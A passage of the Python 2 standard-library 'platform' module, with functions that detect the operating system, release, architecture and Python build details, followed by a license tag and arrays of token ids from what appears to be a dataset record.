parameters are used as defaults. """ if sys.platform not in supported_platforms: return system,release,version # Try some common cmd strings for cmd in ('ver','command /c ver','cmd /c ver'): try: pipe = popen(cmd) info = pipe.read() if pipe.close(): raise os.error,'command failed' # XXX How can I supress shell errors from being written # to stderr ? except os.error,why: #print 'Command %s failed: %s' % (cmd,why) continue except IOError,why: #print 'Command %s failed: %s' % (cmd,why) continue else: break else: return system,release,version # Parse the output info = string.strip(info) m = _ver_output.match(info) if m is not None: system,release,version = m.groups() # Strip trailing dots from version and release if release[-1] == '.': release = release[:-1] if version[-1] == '.': version = version[:-1] # Normalize the version and build strings (eliminating additional # zeros) version = _norm_version(version) return system,release,version def _win32_getvalue(key,name,default=''): """ Read a value for name from the registry key. In case this fails, default is returned. """ try: # Use win32api if available from win32api import RegQueryValueEx except ImportError: # On Python 2.0 and later, emulate using _winreg import _winreg RegQueryValueEx = _winreg.QueryValueEx try: return RegQueryValueEx(key,name) except: return default def win32_ver(release='',version='',csd='',ptype=''): """ Get additional version information from the Windows Registry and return a tuple (version,csd,ptype) referring to version number, CSD level and OS type (multi/single processor). As a hint: ptype returns 'Uniprocessor Free' on single processor NT machines and 'Multiprocessor Free' on multi processor machines. The 'Free' refers to the OS version being free of debugging code. It could also state 'Checked' which means the OS version uses debugging code, i.e. code that checks arguments, ranges, etc. (Thomas Heller). Note: this function works best with Mark Hammond's win32 package installed, but also on Python 2.3 and later. It obviously only runs on Win32 compatible platforms. """ # XXX Is there any way to find out the processor type on WinXX ? # XXX Is win32 available on Windows CE ? # # Adapted from code posted by Karl Putland to comp.lang.python. # # The mappings between reg. values and release names can be found # here: http://msdn.microsoft.com/library/en-us/sysinfo/base/osversioninfo_str.asp # Import the needed APIs try: import win32api from win32api import RegQueryValueEx, RegOpenKeyEx, \ RegCloseKey, GetVersionEx from win32con import HKEY_LOCAL_MACHINE, VER_PLATFORM_WIN32_NT, \ VER_PLATFORM_WIN32_WINDOWS, VER_NT_WORKSTATION except ImportError: # Emulate the win32api module using Python APIs try: sys.getwindowsversion except AttributeError: # No emulation possible, so return the defaults... return release,version,csd,ptype else: # Emulation using _winreg (added in Python 2.0) and # sys.getwindowsversion() (added in Python 2.3) import _winreg GetVersionEx = sys.getwindowsversion RegQueryValueEx = _winreg.QueryValueEx RegOpenKeyEx = _winreg.OpenKeyEx RegCloseKey = _winreg.CloseKey HKEY_LOCAL_MACHINE = _winreg.HKEY_LOCAL_MACHINE VER_PLATFORM_WIN32_WINDOWS = 1 VER_PLATFORM_WIN32_NT = 2 VER_NT_WORKSTATION = 1 # Find out the registry key and some general version infos maj,min,buildno,plat,csd = GetVersionEx() version = '%i.%i.%i' % (maj,min,buildno & 0xFFFF) if csd[:13] == 'Service Pack ': csd = 'SP' + csd[13:] if plat == VER_PLATFORM_WIN32_WINDOWS: regkey = 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion' # Try to guess the release name if maj == 4: if min == 0: release = '95' elif min == 10: release = '98' elif min == 90: release = 'Me' else: release = 'postMe' elif maj == 5: release = '2000' elif plat == VER_PLATFORM_WIN32_NT: regkey = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion' if maj <= 4: release = 'NT' elif maj == 5: if min == 0: release = '2000' elif min == 1: release = 'XP' elif min == 2: release = '2003Server' else: release = 'post2003' elif maj == 6: if min == 0: # Per http://msdn2.microsoft.com/en-us/library/ms724429.aspx try: productType = GetVersionEx(1)[8] except TypeError: # sys.getwindowsversion() doesn't take any arguments, so # we cannot detect 2008 Server that way. # XXX Add some other means of detecting 2008 Server ?! release = 'Vista' else: if productType == VER_NT_WORKSTATION: release = 'Vista' else: release = '2008Server' else: release = 'post2008Server' else: if not release: # E.g. Win3.1 with win32s release = '%i.%i' % (maj,min) return release,version,csd,ptype # Open the registry key try: keyCurVer = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey) # Get a value to make sure the key exists... RegQueryValueEx(keyCurVer, 'SystemRoot') except: return release,version,csd,ptype # Parse values #subversion = _win32_getvalue(keyCurVer, # 'SubVersionNumber', # ('',1))[0] #if subversion: # release = release + subversion # 95a, 95b, etc. build = _win32_getvalue(keyCurVer, 'CurrentBuildNumber', ('',1))[0] ptype = _win32_getvalue(keyCurVer, 'CurrentType', (ptype,1))[0] # Normalize version version = _norm_version(version,build) # Close key RegCloseKey(keyCurVer) return release,version,csd,ptype def _mac_ver_lookup(selectors,default=None): from gestalt import gestalt import MacOS l = [] append = l.append for selector in selectors: try: append(gestalt(selector)) except (RuntimeError, MacOS.Error): append(default) return l def _bcd2str(bcd): return hex(bcd)[2:] def mac_ver(release='',versioninfo=('','',''),machine=''): """ Get MacOS version information and return it as tuple (release, versioninfo, machine) with versioninfo being a tuple (version, dev_stage, non_release_version). Entries which cannot be determined are set to the paramter values which default to ''. All tuple entries are strings. Thanks to Mark R. Levinson for mailing documentation links and code examples for this function. Documentation for the gestalt() API is available online at: http://www.rgaros.nl/gestalt/ """ # Check whether the version info module is available try: import gestalt import MacOS except ImportError: return release,versioninfo,machine # Get the infos sysv,sysu,sysa = _mac_ver_lookup(('sysv','sysu','sysa')) # Decode the infos if sysv: major = (sysv & 0xFF00) >> 8 minor = (sysv & 0x00F0) >> 4 patch = (sysv & 0x000F) if (major, minor) >= (10, 4): # the 'sysv' gestald cannot return patchlevels # higher than 9. Apple introduced 3 new # gestalt codes in 10.4 to deal with this # issue (needed because patch levels can # run higher than 9, such as 10.4.11) major,minor,patch = _mac_ver_lookup(('sys1','sys2','sys3')) release = '%i.%i.%i' %(major, minor, patch) else: release = '%s.%i.%i' % (_bcd2str(major),minor,patch) if sysu: # NOTE: this block is left as documentation of the # intention of this function, the 'sysu' gestalt is no # longer available and there are no alternatives. major = int((sysu & 0xFF000000L) >> 24) minor = (sysu & 0x00F00000) >> 20 bugfix = (sysu & 0x000F0000) >> 16 stage = (sysu & 0x0000FF00) >> 8 nonrel = (sysu & 0x000000FF) version = '%s.%i.%i' % (_bcd2str(major),minor,bugfix) nonrel = _bcd2str(nonrel) stage = {0x20:'development', 0x40:'alpha', 0x60:'beta', 0x80:'final'}.get(stage,'') versioninfo = (version,stage,nonrel) if sysa: machine = {0x1: '68k', 0x2: 'PowerPC', 0xa: 'i386'}.get(sysa,'') return release,versioninfo,machine def _java_getprop(name,default): from java.lang import System try: value = System.getProperty(name) if value is None: return default return value except AttributeError: return default def java_ver(release='',vendor='',vminfo=('','',''),osinfo=('','','')): """ Version interface for Jython. Returns a tuple (release,vendor,vminfo,osinfo) with vminfo being a tuple (vm_name,vm_release,vm_vendor) and osinfo being a tuple (os_name,os_version,os_arch). Values which cannot be determined are set to the defaults given as parameters (which all default to ''). """ # Import the needed APIs try: import java.lang except ImportError: return release,vendor,vminfo,osinfo vendor = _java_getprop('java.vendor', vendor) release = _java_getprop('java.version', release) vm_name, vm_release, vm_vendor = vminfo vm_name = _java_getprop('java.vm.name', vm_name) vm_vendor = _java_getprop('java.vm.vendor', vm_vendor) vm_release = _java_getprop('java.vm.version', vm_release) vminfo = vm_name, vm_release, vm_vendor os_name, os_version, os_arch = osinfo os_arch = _java_getprop('java.os.arch', os_arch) os_name = _java_getprop('java.os.name', os_name) os_version = _java_getprop('java.os.version', os_version) osinfo = os_name, os_version, os_arch return release, vendor, vminfo, osinfo ### System name aliasing def system_alias(system,release,version): """ Returns (system,release,version) aliased to common marketing names used for some systems. It also does some reordering of the information in some cases where it would otherwise cause confusion. """ if system == 'Rhapsody': # Apple's BSD derivative # XXX How can we determine the marketing release number ? return 'MacOS X Server',system+release,version elif system == 'SunOS': # Sun's OS if release < '5': # These releases use the old name SunOS return system,release,version # Modify release (marketing release = SunOS release - 3) l = string.split(release,'.') if l: try: major = int(l[0]) except ValueError: pass else: major = major - 3 l[0] = str(major) release = string.join(l,'.') if release < '6': system = 'Solaris' else: # XXX Whatever the new SunOS marketing name is... system = 'Solaris' elif system == 'IRIX64': # IRIX reports IRIX64 on platforms with 64-bit support; yet it # is really a version and not a different platform, since 32-bit # apps are also supported.. system = 'IRIX' if version: version = version + ' (64bit)' else: version = '64bit' elif system in ('win32','win16'): # In case one of the other tricks system = 'Windows' return system,release,version ### Various internal helpers def _platform(*args): """ Helper to format the platform string in a filename compatible format e.g. "system-version-machine". """ # Format the platform string platform = string.join( map(string.strip, filter(len, args)), '-') # Cleanup some possible filename obstacles... replace = string.replace platform = replace(platform,' ','_') platform = replace(platform,'/','-') platform = replace(platform,'\\','-') platform = replace(platform,':','-') platform = replace(platform,';','-') platform = replace(platform,'"','-') platform = replace(platform,'(','-') platform = replace(platform,')','-') # No need to report 'unknown' information... platform = replace(platform,'unknown','') # Fold '--'s and remove trailing '-' while 1: cleaned = replace(platform,'--','-') if cleaned == platform: break platform = cleaned while platform[-1] == '-': platform = platform[:-1] return platform def _node(default=''): """ Helper to determine the node name of this machine. """ try: import socket except ImportError: # No sockets... return default try: return socket.gethostname() except socket.error: # Still not working... return default # os.path.abspath is new in Python 1.5.2: if not hasattr(os.path,'abspath'): def _abspath(path, isabs=os.path.isabs,join=os.path.join,getcwd=os.getcwd, normpath=os.path.normpath): if not isabs(path): path = join(getcwd(), path) return normpath(path) else: _abspath = os.path.abspath def _follow_symlinks(filepath): """ In case filepath is a symlink, follow it until a real file is reached. """ filepath = _abspath(filepath) while os.path.islink(filepath): filepath = os.path.normpath( os.path.join(os.path.dirname(filepath),os.readlink(filepath))) return filepath def _syscmd_uname(option,default=''): """ Interface to the system's uname command. """ if sys.platform in ('dos','win32','win16','os2'): # XXX Others too ? return default try: f = os.popen('uname %s 2> /dev/null' % option) except (AttributeError,os.error): return default output = string.strip(f.read()) rc = f.close() if not output or rc: return default else: return output def _syscmd_file(target,default=''): """ Interface to the system's file command. The function uses the -b option of the file command to have it ommit the filename in its output and if possible the -L option to have the command follow symlinks. It returns default in case the command should fail. """ if sys.platform in ('dos','win32','win16','os2'): # XXX Others too ? return default target = _follow_symlinks(target) try: f = os.popen('file "%s" 2> /dev/null' % target) except (AttributeError,os.error): return default output = string.strip(f.read()) rc = f.close() if not output or rc: return default else: return output ### Information about the used architecture # Default values for architecture; non-empty strings override the # defaults given as parameters _default_architecture = { 'win32': ('','WindowsPE'), 'win16': ('','Windows'), 'dos': ('','MSDOS'), } _architecture_split = re.compile(r'[\s,]').split def architecture(executable=sys.executable,bits='',linkage=''): """ Queries the given executable (defaults to the Python interpreter binary) for various architecture information. Returns a tuple (bits,linkage) which contains information about the bit architecture and the linkage format used for the executable. Both values are returned as strings. Values that cannot be determined are returned as given by the parameter presets. If bits is given as '', the sizeof(pointer) (or sizeof(long) on Python version < 1.5.2) is used as indicator for the supported pointer size. The function relies on the system's "file" command to do the actual work. This is available on most if not all Unix platforms. On some non-Unix platforms where the "file" command does not exist and the executable is set to the Python interpreter binary defaults from _default_architecture are used. """ # Use the sizeof(pointer) as default number of bits if nothing # else is given as default. if not bits: import struct try: size = struct.calcsize('P') except struct.error: # Older installations can only query longs size = struct.calcsize('l') bits = str(size*8) + 'bit' # Get data from the 'file' system command if executable: output = _syscmd_file(executable, '') else: output = '' if not output and \ executable == sys.executable: # "file" command did not return anything; we'll try to provide # some sensible defaults then... if _default_architecture.has_key(sys.platform): b,l = _default_architecture[sys.platform] if b: bits = b if l: linkage = l return bits,linkage # Split the output into a list of strings omitting the filename fileout = _architecture_split(output)[1:] if 'executable' not in fileout: # Format not supported return bits,linkage # Bits if '32-bit' in fileout: bits = '32bit' elif 'N32' in fileout: # On Irix only bits = 'n32bit' elif '64-bit' in fileout: bits = '64bit' # Linkage if 'ELF' in fileout: linkage = 'ELF' elif 'PE' in fileout: # E.g. Windows uses this format if 'Windows' in fileout: linkage = 'WindowsPE' else: linkage = 'PE' elif 'COFF' in fileout: linkage = 'COFF' elif 'MS-DOS' in fileout: linkage = 'MSDOS' else: # XXX the A.OUT format also falls under this class... pass return bits,linkage ### Portable uname() interface _uname_cache = None def uname(): """ Fairly portable uname interface. Returns a tuple of strings (system,node,release,version,machine,processor) identifying the underlying platform. Note that unlike the os.uname function this also returns possible processor information as an additional tuple entry. Entries which cannot be determined are set to ''. """ global _uname_cache no_os_uname = 0 if _uname_cache is not None: return _uname_cache processor = '' # Get some infos from the builtin os.uname API... try: system,node,release,version,machine = os.uname() except AttributeError: no_os_uname = 1 if no_os_uname or not filter(None, (system, node, release, version, machine)): # Hmm, no there is either no uname or uname has returned #'unknowns'... we'll have to poke around the system then. if no_os_uname: system = sys.platform release = '' version = '' node = _node() machine = '' use_syscmd_ver = 01 # Try win32_ver() on win32 platforms if system == 'win32': release,version,csd,ptype = win32_ver() if release and version: use_syscmd_ver = 0 # Try to use the PROCESSOR_* environment variables # available on Win XP and later; see # http://support.microsoft.com/kb/888731 and # http://www.geocities.com/rick_lively/MANUALS/ENV/MSWIN/PROCESSI.HTM if not machine: machine = os.environ.get('PROCESSOR_ARCHITECTURE', '') if not processor: processor = os.environ.get('PROCESSOR_IDENTIFIER', machine) # Try the 'ver' system command available on some # platforms if use_syscmd_ver: system,release,version = _syscmd_ver(system) # Normalize system to what win32_ver() normally returns # (_syscmd_ver() tends to return the vendor name as well) if system == 'Microsoft Windows': system = 'Windows' elif system == 'Microsoft' and release == 'Windows': # Under Windows Vista and Windows Server 2008, # Microsoft changed the output of the ver command. The # release is no longer printed. This causes the # system and release to be misidentified. system = 'Windows' if '6.0' == version[:3]: release = 'Vista' else: release = '' # In case we still don't know anything useful, we'll try to # help ourselves if system in ('win32','win16'): if not version: if system == 'win32': version = '32bit' else: version = '16bit' system = 'Windows' elif system[:4] == 'java': release,vendor,vminfo,osinfo = java_ver() system = 'Java' version = string.join(vminfo,', ') if not version: version = vendor elif os.name == 'mac': release,(version,stage,nonrel),machine = mac_ver() system = 'MacOS' # System specific extensions if system == 'OpenVMS': # OpenVMS seems to have release and version mixed up if not release or release == '0': release = version version = '' # Get processor information try: import vms_lib except ImportError: pass else: csid, cpu_number = vms_lib.getsyi('SYI$_CPU',0) if (cpu_number >= 128): processor = 'Alpha' else: processor = 'VAX' if not processor: # Get processor information from the uname system command processor = _syscmd_uname('-p','') #If any unknowns still exist, replace them with ''s, which are more portable if system == 'unknown': system = '' if node == 'unknown': node = '' if release == 'unknown': release = '' if version == 'unknown': version = '' if machine == 'unknown': machine = '' if processor == 'unknown': processor = '' # normalize name if system == 'Microsoft' and release == 'Windows': system = 'Windows' release = 'Vista' _uname_cache = system,node,release,version,machine,processor return _uname_cache ### Direct interfaces to some of the uname() return values def system(): """ Returns the system/OS name, e.g. 'Linux', 'Windows' or 'Java'. An empty string is returned if the value cannot be determined. """ return uname()[0] def node(): """ Returns the computer's network name (which may not be fully qualified) An empty string is returned if the value cannot be determined. """ return uname()[1] def release(): """ Returns the system's release, e.g. '2.2.0' or 'NT' An empty string is returned if the value cannot be determined. """ return uname()[2] def version(): """ Returns the system's release version, e.g. '#3 on degas' An empty string is returned if the value cannot be determined. """ return uname()[3] def machine(): """ Returns the machine type, e.g. 'i386' An empty string is returned if the value cannot be determined. """ return uname()[4] def processor(): """ Returns the (true) processor name, e.g. 'amdk6' An empty string is returned if the value cannot be determined. Note that many platforms do not provide this information or simply return the same value as for machine(), e.g. NetBSD does this. """ return uname()[5] ### Various APIs for extracting information from sys.version _sys_version_parser = re.compile( r'([\w.+]+)\s*' '\(#?([^,]+),\s*([\w ]+),\s*([\w :]+)\)\s*' '\[([^\]]+)\]?') _jython_sys_version_parser = re.compile( r'([\d\.]+)') _ironpython_sys_version_parser = re.compile( r'IronPython\s*' '([\d\.]+)' '(?: \(([\d\.]+)\))?' ' on (.NET [\d\.]+)') _sys_version_cache = {} def _sys_version(sys_version=None): """ Returns a parsed version of Python's sys.version as tuple (name, version, branch, revision, buildno, builddate, compiler) referring to the Python implementation name, version, branch, revision, build number, build date/time as string and the compiler identification string. Note that unlike the Python sys.version, the returned value for the Python version will always include the patchlevel (it defaults to '.0'). The function returns empty strings for tuple entries that cannot be determined. sys_version may be given to parse an alternative version string, e.g. if the version was read from a different Python interpreter. """ # Get the Python version if sys_version is None: sys_version = sys.version # Try the cache first result = _sys_version_cache.get(sys_version, None) if result is not None: return result # Parse it if sys_version[:10] == 'IronPython': # IronPython name = 'IronPython' match = _ironpython_sys_version_parser.match(sys_version) if match is None: raise ValueError( 'failed to parse IronPython sys.version: %s' % repr(sys_version)) version, alt_version, compiler = match.groups() branch = '' revision = '' buildno = '' builddate = '' elif sys.platform[:4] == 'java': # Jython name = 'Jython' match = _jython_sys_version_parser.match(sys_version) if match is None: raise ValueError( 'failed to parse Jython sys.version: %s' % repr(sys_version)) version, = match.groups() branch = '' revision = '' compiler = sys.platform buildno = '' builddate = '' else: # CPython match = _sys_version_parser.match(sys_version) if match is None: raise ValueError( 'failed to parse CPython sys.version: %s' % repr(sys_version)) version, buildno, builddate, buildtime, compiler = \ match.groups() if hasattr(sys, 'subversion'): # sys.subversion was added in Python 2.5 name, branch, revision = sys.subversion else: name = 'CPython' branch = '' revision = '' builddate = builddate + ' ' + buildtime # Add the patchlevel version if missing l = string.split(version, '.') if len(l) == 2: l.append('0') version = string.join(l, '.') # Build and cache the result result = (name, version, branch, revision, buildno, builddate, compiler) _sys_version_cache[sys_version] = result return result def _test_sys_version(): _sys_version_cache.clear() for input, output in ( ('2.4.3 (#1, Jun 21 2006, 13:54:21) \n[GCC 3.3.4 (pre 3.3.5 20040809)]', ('CPython', '2.4.3', '', '', '1', 'Jun 21 2006 13:54:21', 'GCC 3.3.4 (pre 3.3.5 20040809)')), ('IronPython 1.0.60816 on .NET 2.0.50727.42', ('IronPython', '1.0.60816', '', '', '', '', '.NET 2.0.50727.42')), ('IronPython 1.0 (1.0.61005.1977) on .NET 2.0.50727.42', ('IronPython', '1.0.0', '', '', '', '', '.NET 2.0.50727.42')), ): parsed = _sys_version(input) if parsed != output: print (input, parsed) def python_implementation(): """ Returns a string identifying the Python implementation. Currently, the following implementations are identified: 'CPython' (C implementation of Python), 'IronPython' (.NET implementation of Python), 'Jython' (Java implementation of Python). """ return _sys_version()[0] def python_version(): """ Returns the Python version as string 'major.minor.patchlevel' Note that unlike the Python sys.version, the returned value will always include the patchlevel (it defaults to 0). """ if hasattr(sys, 'version_info'): return '%i.%i.%i' % sys.version_info[:3] return _sys_version()[1] def python_version_tuple(): """ Returns the Python version as tuple (major, minor, patchlevel) of strings. Note that unlike the Python sys.version, the returned value will always include the patchlevel (it defaults to 0). """ if hasattr(sys, 'version_info'): return sys.version_info[:3] return tuple(string.split(_sys_version()[1], '.')) def python_branch(): """ Returns a string identifying the Python implementation branch. For CPython this is the Subversion branch from which the Python binary was built. If not available, an empty string is returned. """ return _sys_version()[2] def python_revision(): """ Returns a string identifying the Python implementation revision. For CPython this is the Subversion revision from which the Python binary was built. If not available, an empty string is returned. """ return _sys_version()[3] def python_build(): """ Returns a tuple (buildno, builddate) stating the Python build number and date as strings. """ return _sys_version()[4:6] def python_compiler(): """ Returns a string identifying the compiler used for compiling Python. """ return _sys_version()[6] ### The Opus Magnum of platform strings :-) _platform_cache = {} def platform(aliased=0, terse=0): """ Returns a single string identifying the underlying platform with as much useful information as possible (but no more :). The output is intended to be human readable rather than machine parseable. It may look different on different platforms and this is intended. If "aliased" is true, the function will use aliases for various platforms that report system names which differ from their common names, e.g. SunOS will be reported as Solaris. The system_alias() function is used to implement this. Setting terse to true causes the function to return only the absolute minimum information needed to identify the platform. """ result = _platform_cache.get((aliased, terse), None) if result is not None: return result # Get uname information and then apply platform specific cosmetics # to it... system,node,release,version,machine,processor = uname() if machine == processor: processor = '' if aliased: system,release,version = system_alias(system,release,version) if system == 'Windows': # MS platforms rel,vers,csd,ptype = win32_ver(version) if terse: platform = _platform(system,release) else: platform = _platform(system,release,version,csd) elif system in ('Linux',): # Linux based systems distname,distversion,distid = dist('') if distname and not terse: platform = _platform(system,release,machine,processor, 'with', distname,distversion,distid) else: # If the distribution name is unknown check for libc vs. glibc libcname,libcversion = libc_ver(sys.executable) platform = _platform(system,release,machine,processor, 'with', libcname+libcversion) elif system == 'Java': # Java platforms r,v,vminfo,(os_name,os_version,os_arch) = java_ver() if terse or not os_name: platform = _platform(system,release,version) else: platform = _platform(system,release,version, 'on', os_name,os_version,os_arch) elif system == 'MacOS': # MacOS platforms if terse: platform = _platform(system,release) else: platform = _platform(system,release,machine) else: # Generic handler if terse: platform = _platform(system,release) else: bits,linkage = architecture(sys.executable) platform = _platform(system,release,machine,processor,bits,linkage) _platform_cache[(aliased, terse)] = platform return platform ### Command line interface if __name__ == '__main__': # Default is to print the aliased verbose platform string terse = ('terse' in sys.argv or '--terse' in sys.argv) aliased = (not 'nonaliased' in sys.argv and not '--nonaliased' in sys.argv) print platform(aliased,terse) sys.exit(0)
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 624, 961, 859, 11275, 370, 8044, 465, 8298, 4298, 13, 22232, 316, 666, 465, 272, 3962, 14, 2779, 7704, 642, 2556, 2808, 4799, 805, 15913, 14, 339, 982, 2797, 687, 314, 1414, 1004, 12, 652, 14767, 314, 4298, 272, 2556, 26271, 465, 2849, 1059, 370, 3839, 14, 710, 1072, 272, 1475, 365, 675, 461, 465, 1777, 402, 282, 1788, 14, 199, 199, 624, 199, 3, 259, 961, 859, 365, 26391, 701, 603, 9912, 13, 3325, 264, 7005, 32649, 665, 2174, 32, 69, 2268, 1148, 14, 957, 10827, 199, 3, 259, 982, 1265, 2342, 8826, 12, 8749, 11482, 6519, 13924, 15, 11350, 4799, 314, 199, 3, 259, 2018, 5800, 1858, 303, 7290, 10331, 436, 5090, 3062, 370, 298, 274, 32649, 1674, 199, 3, 199, 3, 259, 3390, 26, 7754, 4215, 642, 859, 9025, 370, 2018, 413, 14, 21, 14, 18, 14, 199, 3, 199, 3, 259, 428, 12587, 4346, 26, 199, 3, 259, 627, 1655, 2291, 367, 13036, 2089, 199, 3, 259, 627, 2291, 367, 14282, 13, 32735, 334, 4718, 19596, 5805, 9, 199, 3, 259, 627, 2291, 367, 437, 4071, 65, 436, 1163, 5139, 16313, 10677, 3879, 2018, 199, 3, 259, 627, 2291, 367, 4722, 10130, 10208, 199, 3, 199, 3, 259, 15517, 2419, 6080, 370, 1006, 5204, 3963, 20181, 1915, 7791, 4298, 13, 6100, 199, 3, 259, 5920, 334, 262, 949, 6770, 1865, 304, 199, 3, 199, 3, 420, 6659, 2978, 598, 644, 27075, 1237, 12, 20232, 1952, 78, 1753, 12, 598, 2181, 265, 22895, 45, 778, 290, 12, 26844, 577, 1060, 1697, 12, 199, 3, 420, 1603, 3609, 699, 3844, 281, 12, 445, 317, 556, 445, 1773, 18090, 12, 473, 20662, 812, 290, 491, 290, 316, 10670, 12, 1603, 3362, 70, 199, 3, 420, 31535, 290, 331, 20471, 12, 820, 460, 452, 869, 411, 529, 12, 1804, 285, 76, 16280, 9688, 12, 17815, 481, 285, 264, 914, 12, 29096, 199, 3, 420, 6061, 82, 3210, 12, 13870, 20744, 6848, 385, 453, 12, 27864, 869, 352, 1435, 12, 7173, 820, 14, 491, 6857, 262, 834, 12, 7173, 199, 3, 420, 869, 455, 2106, 68, 12, 699, 778, 377, 337, 84, 12, 869, 796, 7356, 1151, 12, 738, 1129, 3107, 16709, 262, 334, 4299, 54, 3053, 2291, 395, 199, 3, 420, 3626, 262, 1804, 951, 12, 377, 640, 603, 2000, 12, 598, 1535, 79, 20744, 6848, 385, 453, 12, 1626, 898, 89, 699, 1219, 351, 199, 3, 199, 3, 259, 27829, 26, 199, 3, 199, 3, 259, 665, 3239, 445, 7428, 436, 24639, 1104, 262, 3788, 367, 7994, 30, 199, 3, 199, 3, 259, 413, 14, 16, 14, 22, 446, 3483, 18369, 63, 4972, 342, 199, 3, 259, 413, 14, 16, 14, 21, 446, 6317, 9586, 2291, 370, 2040, 3879, 314, 859, 641, 25333, 199, 3, 259, 413, 14, 16, 14, 20, 446, 3483, 473, 2641, 4718, 2291, 199, 3, 259, 413, 14, 16, 14, 19, 446, 3483, 16973, 402, 5417, 2656, 536, 199, 3, 259, 413, 14, 16, 14, 18, 446, 3483, 1655, 5417, 2291, 199, 3, 259, 413, 14, 16, 14, 17, 446, 295, 15317, 370, 1852, 1382, 14, 647, 394, 18869, 199, 3, 259, 413, 14, 16, 14, 16, 446, 295, 15317, 282, 4546, 436, 7923, 1901, 2018, 445, 7428, 199, 3, 259, 378, 14, 24, 14, 16, 446, 3483, 984, 14, 1023, 1798, 436, 7750, 892, 2879, 199, 3, 3322, 15913, 334, 1548, 63, 1023, 1062, 2366, 63, 5772, 1062, 5423, 4959, 199, 3, 259, 378, 14, 23, 14, 18, 446, 6317, 15931, 342, 370, 675, 13855, 8, 3929, 9, 2382, 2808, 199, 3, 259, 378, 14, 23, 14, 17, 446, 3483, 2291, 367, 8256, 271, 345, 3232, 14091, 199, 3, 259, 378, 14, 23, 14, 16, 446, 2005, 25079, 367, 13036, 2089, 27, 625, 2902, 4541, 314, 1350, 570, 199, 3, 259, 378, 14, 22, 14, 18, 446, 2291, 367, 3232, 54, 3053, 446, 5074, 1015, 413, 14, 21, 14, 18, 13, 54, 8010, 503, 10948, 436, 199, 3, 3322, 22505, 63, 773, 14, 362, 1786, 73, 342, 7526, 199, 3, 259, 378, 14, 22, 14, 17, 446, 3483, 1233, 370, 7981, 283, 16040, 446, 80, 7, 641, 10677, 1314, 787, 199, 3, 3322, 6040, 440, 370, 2291, 652, 199, 3, 259, 378, 14, 22, 14, 16, 446, 6317, 4747, 708, 63, 422, 342, 370, 3661, 5836, 1736, 641, 13036, 2720, 12, 2905, 12, 12460, 436, 13036, 18, 75, 27, 199, 3, 3322, 8103, 2005, 9058, 402, 314, 8386, 446, 2005, 15913, 1172, 2896, 199, 3, 259, 378, 14, 21, 14, 21, 446, 6317, 4573, 730, 315, 314, 10444, 3100, 1233, 1396, 1077, 1172, 199, 3, 3322, 1202, 1655, 512, 24715, 11168, 8700, 13, 9, 199, 3, 259, 378, 14, 21, 14, 20, 446, 6317, 282, 9284, 10284, 1712, 315, 314, 10444, 3100, 1233, 199, 3, 259, 378, 14, 21, 14, 19, 446, 3483, 22820, 10444, 3100, 2291, 27, 3483, 8034, 17758, 342, 199, 3, 3322, 18092, 83, 315, 485, 1786, 551, 1064, 63, 422, 342, 1553, 5139, 440, 2948, 5, 325, 4170, 867, 199, 3, 3322, 10617, 199, 3, 259, 378, 14, 21, 14, 18, 446, 6317, 28179, 342, 370, 372, 2125, 3140, 402, 283, 5187, 7, 315, 1006, 199, 3, 3322, 372, 1338, 334, 1589, 2656, 28179, 1414, 16685, 795, 370, 372, 199, 3, 3322, 283, 5187, 7, 3140, 402, 2951, 23188, 314, 901, 325, 2037, 647, 9, 199, 3, 259, 378, 14, 21, 14, 17, 446, 5120, 1233, 367, 29877, 1068, 2917, 27, 3483, 1919, 8297, 199, 3, 3322, 370, 8486, 1536, 24325, 2382, 10677, 2793, 1133, 1172, 747, 14, 12207, 199, 3, 3322, 334, 69, 14, 71, 14, 10444, 9, 503, 2449, 641, 2838, 14, 29789, 7303, 6317, 1973, 67, 199, 3, 3322, 15212, 5363, 199, 3, 259, 378, 14, 21, 14, 16, 446, 2896, 314, 3261, 1561, 21864, 370, 2656, 3718, 370, 627, 1786, 551, 1064, 10, 27, 199, 3, 3322, 3483, 12120, 63, 422, 7303, 6326, 1847, 551, 1064, 63, 422, 342, 282, 5726, 199, 3, 3322, 3261, 334, 10274, 2656, 63, 422, 342, 315, 4136, 5459, 9, 1553, 675, 28179, 342, 199, 3, 3322, 3140, 27, 9243, 314, 4747, 708, 63, 422, 342 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 624, 961, 859, 11275, 370, 8044, 465, 8298, 4298, 13, 22232, 316, 666, 465, 272, 3962, 14, 2779, 7704, 642, 2556, 2808, 4799, 805, 15913, 14, 339, 982, 2797, 687, 314, 1414, 1004, 12, 652, 14767, 314, 4298, 272, 2556, 26271, 465, 2849, 1059, 370, 3839, 14, 710, 1072, 272, 1475, 365, 675, 461, 465, 1777, 402, 282, 1788, 14, 199, 199, 624, 199, 3, 259, 961, 859, 365, 26391, 701, 603, 9912, 13, 3325, 264, 7005, 32649, 665, 2174, 32, 69, 2268, 1148, 14, 957, 10827, 199, 3, 259, 982, 1265, 2342, 8826, 12, 8749, 11482, 6519, 13924, 15, 11350, 4799, 314, 199, 3, 259, 2018, 5800, 1858, 303, 7290, 10331, 436, 5090, 3062, 370, 298, 274, 32649, 1674, 199, 3, 199, 3, 259, 3390, 26, 7754, 4215, 642, 859, 9025, 370, 2018, 413, 14, 21, 14, 18, 14, 199, 3, 199, 3, 259, 428, 12587, 4346, 26, 199, 3, 259, 627, 1655, 2291, 367, 13036, 2089, 199, 3, 259, 627, 2291, 367, 14282, 13, 32735, 334, 4718, 19596, 5805, 9, 199, 3, 259, 627, 2291, 367, 437, 4071, 65, 436, 1163, 5139, 16313, 10677, 3879, 2018, 199, 3, 259, 627, 2291, 367, 4722, 10130, 10208, 199, 3, 199, 3, 259, 15517, 2419, 6080, 370, 1006, 5204, 3963, 20181, 1915, 7791, 4298, 13, 6100, 199, 3, 259, 5920, 334, 262, 949, 6770, 1865, 304, 199, 3, 199, 3, 420, 6659, 2978, 598, 644, 27075, 1237, 12, 20232, 1952, 78, 1753, 12, 598, 2181, 265, 22895, 45, 778, 290, 12, 26844, 577, 1060, 1697, 12, 199, 3, 420, 1603, 3609, 699, 3844, 281, 12, 445, 317, 556, 445, 1773, 18090, 12, 473, 20662, 812, 290, 491, 290, 316, 10670, 12, 1603, 3362, 70, 199, 3, 420, 31535, 290, 331, 20471, 12, 820, 460, 452, 869, 411, 529, 12, 1804, 285, 76, 16280, 9688, 12, 17815, 481, 285, 264, 914, 12, 